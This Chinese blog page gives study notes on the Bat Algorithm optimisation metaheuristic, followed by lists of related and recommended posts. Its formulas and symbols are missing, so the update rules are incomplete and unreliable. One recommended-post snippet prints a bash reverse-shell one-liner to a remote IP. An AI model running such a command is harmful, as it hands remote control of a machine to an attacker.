蝙蝠算法(BA)学习笔记
算法原理
蝙蝠能够在夜间或十分昏暗的环境中自由飞翔和准确无误地捕捉食物,是因为他们能够从喉头发出地超声脉冲回声来定位。受这一启发,Yang教授在2010年提出了蝙蝠算法(Bat Algorithm,BA)[1]。
在蝙蝠算法中,为了模拟蝙蝠捕食猎物、避免障碍地随机搜索过程,做出如下三个近似理想化规则假设[2]:
(1) 种群中所有蝙蝠都利用回声定位的方法感知距离。
(2) 蝙蝠在位置以速度
随机飞行,具有固定的频率
,同时具有根据自身与猎物距离自动调整的波长
和脉冲响度A。
(3) 假设脉冲响度的变化方式为从一个最大值整数变化到固定最小值
,变化区间可根据问题调整。
假设蝙蝠搜索空间为D维,每一代中蝙蝠位置和速度
的更新规则如公式(1)~(3)所示。其中
为一个随机变量。
是群体当前局部最优解位置。
(1)
(2)
(3)
而局部搜索时,新的局部解使用随机游走方式生成,如公式(4)。是一个随机数;
整个群体在同一代中的平均响度。在搜索过程中,蝙蝠会根据距离目标猎物的方位不断减小响度到一个定值的同时不断增大频度,将猎物范围缩小并捕食,在这一过程中,每只蝙蝠的声波响度和频度更新公式如(5)和(6)所示,其中
是声波响度衰减系数,值落在0到1之间不包含0和1;
是脉冲频度增强系数大于0;
表示为蝙蝠
初始脉冲频率。
(4)
(5)
(6)
蝙蝠算法的基本步骤为:
(1) 参数初始化:蝙蝠种群数量m,迭代次数N,目标函数f(x),蝙蝠位置,速度
和声波频率
,声波响度
和频度
。
(2) 找出当前种群的最优位置,根据公式(2)~(4)更新位置和速度。
(3) 生成[0,1]上的随机数rand1,如果rand1>,在最佳个体(解集)中选择一个最优个体(解),在选择的最优个体(解)周围根据公式(4)生成一个局部个体(解),否则根据公式(4)更新蝙蝠个体位置。
(4) 生成[0,1]上的随机数rand2,如果rand2<并且
,则接受该位置,根据公式(6)(7)减小
和增大
。
(5) 对该种群中所有个体适应度值进行排序,并找出当前最佳。
(6) 重复步骤(2)~(5),判断是否满足最大迭代次数,输出全局最优值。
参考文献
[1] X. S. Yang, A New Metaheuristic Bat-Inspired Algorithm, in: Nature Inspired Cooperative Strategies for Optimization (NISCO 2010), Studies in Computational Intelligence, Springer Berlin, 284, Springer, 65-74 (2010). http://arxiv.org/abs/1004.4170
[2] XU Degang, ZHAO Ping. Literature Survey on Research and Application of Bat Algorithm. CEA, 2019, 55(15): 1-12.
参考代码
1.https://www.mathworks.com/matlabcentral/fileexchange/44707-binary-bat-algorithm
蝙蝠算法(BA)学习笔记的更多相关文章
- 串的应用与kmp算法讲解--学习笔记
串的应用与kmp算法讲解 1. 写作目的 平时学习总结的学习笔记,方便自己理解加深印象.同时希望可以帮到正在学习这方面知识的同学,可以相互学习.新手上路请多关照,如果问题还请不吝赐教. 2. 串的逻辑 ...
- BZOJ 2120 数颜色&2453 维护队列 [带修改的莫队算法]【学习笔记】
2120: 数颜色 Time Limit: 6 Sec Memory Limit: 259 MBSubmit: 3665 Solved: 1422[Submit][Status][Discuss] ...
- BZOJ 2038: [2009国家集训队]小Z的袜子(hose) [莫队算法]【学习笔记】
2038: [2009国家集训队]小Z的袜子(hose) Time Limit: 20 Sec Memory Limit: 259 MBSubmit: 7687 Solved: 3516[Subm ...
- C4.5算法的学习笔记
有日子没写博客了,这些天忙着一些杂七杂八的事情,直到某天,老师喊我好好把数据挖掘的算法搞一搞!于是便由再次埋头看起算法来!说起数据挖掘的算法,我想首先不得的不提起的就是大名鼎鼎的由决策树算法演化而来的 ...
- PAT算法题学习笔记
1001. 害死人不偿命的(3n+1)猜想 (15) 卡拉兹(Callatz)猜想: 对任何一个自然数n,如果它是偶数,那么把它砍掉一半:如果它是奇数,那么把(3n+1)砍掉一半.这样一直反复砍下去, ...
- 「Manacher算法」学习笔记
觉得这篇文章写得特别劲,插图非常便于理解. 目的:求字符串中的最长回文子串. 算法思想 考虑维护一个数组$r[i]$代表回文半径.回文半径的定义为:对于一个以$i$为回文中心的奇数回文子串,设其为闭区 ...
- 算法图解学习笔记01:二分查找&大O表示法
二分查找 二分查找又称折半查找,其输入的必须是有序的元素列表.二分查找的基本思想是将n个元素分成大致相等的两部分,取a[n/2]与x做比较,如果x=a[n/2],则找到x,算法中止:如果x<a[ ...
- vector刘汝佳算法入门学习笔记
//*****-*-----vector***/////// 常用操作封装,a.size();可以读取大小 a.resize();可以改变大小: ...
- 算法导论学习笔记1---排序算法(平台:gcc 4.6.7)
平台:Ubuntu 12.04/gcc 4.6.7 插入排序 #include<vector> #include <algorithm> #include<iostrea ...
随机推荐
- 03 . Redis集群
Redis集群方案 Redis Cluster 集群模式通常具有 高可用.可扩展性.分布式.容错等特性.Redis分布式方案一般有两种 客户端分区方案 客户端 就已经决定数据会被 存储到哪个 redi ...
- Rocket - diplomacy - enumerateMask
https://mp.weixin.qq.com/s/s3hr5JJX2_pwNgdu8WqV0Q 介绍enumerateMask的实现.(仅供理解,非严谨证明) 1. 基本定义 ...
- 【jQuery】全功能轮播图的实现(本文结尾也有javascript版)
轮播图 图片自动切换(定时器): 鼠标悬停在图片上图片不切换(清除定时器) 鼠标悬停在按钮上时显示对应的图片(鼠标悬停事件) 鼠标悬停在图片上是现实左右箭头 点击左键切换到上一张图片,但图片为第一张时 ...
- Java并发编程 (二) 并发基础
个人博客网:https://wushaopei.github.io/ (你想要这里多有) 一.CPU多级缓存-缓存一致性 1.CPU多级缓存 上图展示的是CPU高级缓存的配置,数据的读取和存 ...
- 容器技术之Dockerfile(二)
前文我们聊到了什么是dockerfile,它的主要作用以及dockerfile的一些基本指令的使用方法,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/13019 ...
- Java实现 LeetCode 718 最长重复子数组(动态规划)
718. 最长重复子数组 给两个整数数组 A 和 B ,返回两个数组中公共的.长度最长的子数组的长度. 示例 1: 输入: A: [1,2,3,2,1] B: [3,2,1,4,7] 输出: 3 解释 ...
- Java实现 蓝桥杯VIP 算法训练 黑白无常
算法训练 黑白无常 时间限制:1.0s 内存限制:256.0MB 问题描述 某寝室的同学们在学术完之后准备玩一个游戏:游戏是这样的,每个人头上都被贴了一张白色或者黑色的纸,现在每个人都会说一句话&qu ...
- Java实现 LeetCode 220 存在重复元素 III(三)
220. 存在重复元素 III 给定一个整数数组,判断数组中是否有两个不同的索引 i 和 j,使得 nums [i] 和 nums [j] 的差的绝对值最大为 t,并且 i 和 j 之间的差的绝对值最 ...
- JDBC连接泄露问题的排查过程总结
当前使用的Spring JDBC版本是5.0.0.RC1,HikariCP版本是3.1.0. 今天测试同学反馈在前端页面点击次数多了,就报500错误,数据显示不出来.于是我在后台服务日志中观察发现Hi ...
- 常用的反弹shell脚本
bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...